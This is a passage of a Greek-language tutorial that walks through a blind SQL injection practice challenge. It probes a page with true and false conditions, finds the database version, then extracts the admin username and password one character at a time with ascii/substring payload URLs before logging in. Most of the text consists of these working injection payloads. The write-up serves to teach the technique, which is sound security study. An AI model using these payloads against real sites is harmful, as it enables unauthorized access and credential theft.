Έτσι, θα χρειαστεί κάνουμε χρήση της αληθούς λογικής συνθήκης “and 1=1” στο τέλος του URL, δηλαδή, θα έχουμε αυτό:

Θα δούμε να αναγράφει το μήνυμα, «You ’ve got a meeting!
 

Αυθαίρετα, λοιπόν, ορίζουμε αυτό ως το αληθές μήνυμα που θα χρησιμοποιήσουμε στη συνέχεια. Τι θα γινόταν άραγε, αν κάναμε χρήση μίας συνθήκης η οποία είναι ψευδής; Για να το ανακαλύψουμε, θα πρέπει να αλλάξουμε το αληθές “and 1=1” σε κάτι που ΔΕΝ ισχύει, για να δούμε αν είναι τρωτή η ιστοσελίδα μας ή όχι! Βάζοντας, λοιπόν, στο τέλος του URL το “and 1=2”.

Συνοψίζοντας, λοιπόν, σε γενικές γραμμές, για να δούμε αν μία ιστοσελίδα είναι τρωτή σε Blind SQL injection, κάνουμε αυτό που σας περιγράψαμε παραπάνω. Αν παρατηρήσουμε κάποια αλλαγή, τροποποιώντας τις συνθήκες από αληθείς σε ψευδείς και αντίστροφα, μπορούμε να προχωρήσουμε παρακάτω. Προτού προχωρήσουμε, όμως, στην κυρίως επίθεση, αξίζει να αναφέρουμε ότι όλες οι εντολές θα «δίνονται» παρόμοια, με τον τρόπο που αναφέραμε προηγουμένως. Δηλαδή, δίνουμε εμείς διάφορες συνθήκες και βλέπουμε πώς αντιδρά σε αυτές η σελίδα!

Το πρώτο test μας!

Σε περίπτωση που θέλουμε να ελέγξουμε την έκδοση SQL που «τρέχει» η ιστοσελίδα, βάζουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=4

και παρατηρούμε τι θα μας επιστρέψει η σελίδα! Βλέπουμε ότι μας επέστρεψε το μήνυμα της ψεύδους  συνθήκης! Αυτό σημαίνει η έκδοση SQL ΔΕΝ είναι 4! Άρα, δοκιμάζουμε να αλλάξουμε το 4 σε 5 και να τρέξουμε ξανά την εντολή, με αυτή τη μορφή πλέον:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=5

Το μήνυμα που εμφανιζόταν πριν στην ψευδή συνθήκη άλλαξε και αντικαταστάθηκε απ’ το μήνυμα της αληθούς! Αυτό, με απλά λόγια σημαίνει ότι καταφέραμε να ανακαλύψουμε την έκδοση SQL που «τρέχει» η σελίδα! Είναι η 5!

Εξαπολύοντας την επίθεσή μας, αλλά στα τυφλά!

Στην προκειμένη περίπτωση, έχουμε στο χέρι αρκετά στοιχεία. Γνωρίζουμε απ’ την εκφώνηση της άσκησης, “you gotta hack and login as admin (table name is “level2_users”)”, ότι πρέπει να ανακαλύψουμε το συνθηματικό του χρήστη “admin”, καθώς και ότι το table που περιέχει τα στοιχεία που μας ενδιαφέρουν, δηλαδή, usernames και passwords, έχει την ονομασία “level2_users”. Εμείς, όμως, για περισσότερη εξάσκηση, θα σας δείξουμε πώς θα ανακαλύπταμε και το username του χρήστη που μας ενδιέφερε, ακόμη και αν δεν το γνωρίζαμε εξαρχής, όπως στο παράδειγμά μας.
Για να βρούμε, λοιπόν, το πρώτο γράμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα χρειαστεί να εισαγάγουμε την εντολή:


and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=id_του_χρήστη),θέση,1))>γράμμα_σε_ascii.

Για να ανακαλύψουμε το πρώτο γραμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα πρέπει να τροποποιήσουμε την παραπάνω εντολή ανάλογα με τα ζητούμενά μας. Δηλαδή, αν υποθέσουμε ότι αναζητούμε το πρώτο γράμμα του username του χρήστη με id=1 (συνήθως ο διαχειριστής έχει id=1) θα δώσουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>1

Προσοχή: Την τιμή “γράμμα_σε_ascii” την αυξάνουμε ή τη μειώνουμε ανάλογα με τα responses που παίρνουμε απ’ τη σελίδα. Για να το κάνουμε αυτό, ξεκινάμε από μία «χαμηλή» ascii τιμή. Για παράδειγμα, μπορούμε να ξεκινήσουμε απ’ το 30:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>30

Η συνθήκη αυτή θα μας επιστρέψει θετικό response («You ’ve got a meeting!»).Συνεχίζουμε και αυξάνουμε την τιμή “30” με ό,τι ρυθμό θέλουμε (σας προτείνουμε ανά 20 ή 30). Καλό είναι να θυμόμαστε ότι θα αυξάνουμε αυτή την τιμή μέχρι να πάρουμε το μήνυμα της αρνητικής συνθήκης, «No meeting this day!». Μετά αρχίζουμε πάλι να μειώνουμε την τιμή, έως ότου βρούμε την τιμή όπου αλλάζει το μήνυμα από θετικό σε αρνητικό και αντίστροφα.

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>97

Έτσι, έπειτα από αρκετές προσπάθειες και αυξομειώσεις της τιμής, ανακαλύψαμε ότι ο χαρακτήρας (σε ascii) που μας ενδιαφέρει, είναι μεγαλύτερος από το 96, αφού όταν βάζουμε “96”, έχουμε θετικό response (εικόνα 3), αλλά όχι μεγαλύτερος από 97, όπου μας επιστρέφει αρνητικό (εικόνα 4) αποτέλεσμα για πρώτη φορά.


Οπότε, συμπεραίνουμε ότι το πρώτο γράμμα είναι το “a”, αφού γνωρίζουμε ότι το 97 σε ascii αντιστοιχεί στο γράμμα “a”. Αντίστοιχα εργαζόμαστε και για τα υπόλοιπα γράμματα του username, μέχρι να συναντήσουμε το σύμβολο “:”, όπου από εκεί και μετά ξεκινά το password.

Προσοχή: Το χαρακτήρα “:”, τον βάλαμε επίτηδες για να καταλάβουμε πού τελειώνει το username και πού ξεκινά το password. Φυσικά, θα μπορούσαμε να είχαμε χρησιμοποιήσει κάποιον άλλο χαρακτήρα

Το 2o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),2,1))>100
“d”

Το 3ο γράμμα :


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),3,1))>109
“m”

Το 4o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),4,1))>105
“i”

Το 5ο γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),5,1))>110
 “n”

Τέρμα με το username! Είναι όντως η λέξη “admin”! Λογικά σκεπτόμενοι, ο επόμενος χαρακτήρας που θα ακολουθήσει, είναι το “:”

Το 6ο γράμμα:



http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),6,1))>58
“:”

Συνεχίζουμε να εργαζόμαστε με τον ίδιο ακριβώς τρόπο, ώστε να βρούμε και το συνθηματικό!


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),7,1))>119
“w”

Το 8o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),8,1))>101
“e”

Το 9o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),9,1))>97
“a”

Το 10o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),10,1))>107
“k”

To 11o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),11,1))>97
“a”
Το 12o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),12,1))>100
“d”

Το 13o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),13,1))>109
“m”

Το 14o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),14,1))>105
“i”

Το 15o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),15,1))>110
“n”

Το 16o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),16,1))>112
“p”

Το 17o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),17,1))>119
“w”

Παρατηρούμε ότι, δεν υπάρχει επόμενο γράμμα στο password, ώστε να συνεχίσουμε την αναζήτηση μας και να το προσθέσουμε!

Επιτέλους μετά από αρκετή ώρα έρευνας βρίσκουμε τον κωδικό πρόσβασης του διαχειριστή της σελίδας.

Καταφέραμε, τελικά, έπειτα από αρκετές προσπάθειες, να «μαντέψουμε» το password του χρήστη “admin”, το οποίο είναι “weakadminpw”.
Δοκιμάσαμε στη συνέχεια να συνδεθούμε με αυτά τα στοιχεία στο login που υπάρχει στην ίδια σελίδα.
 

Τελικά, ανακαλύψαμε το password του “admin” και συνδεθήκαμε.


ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.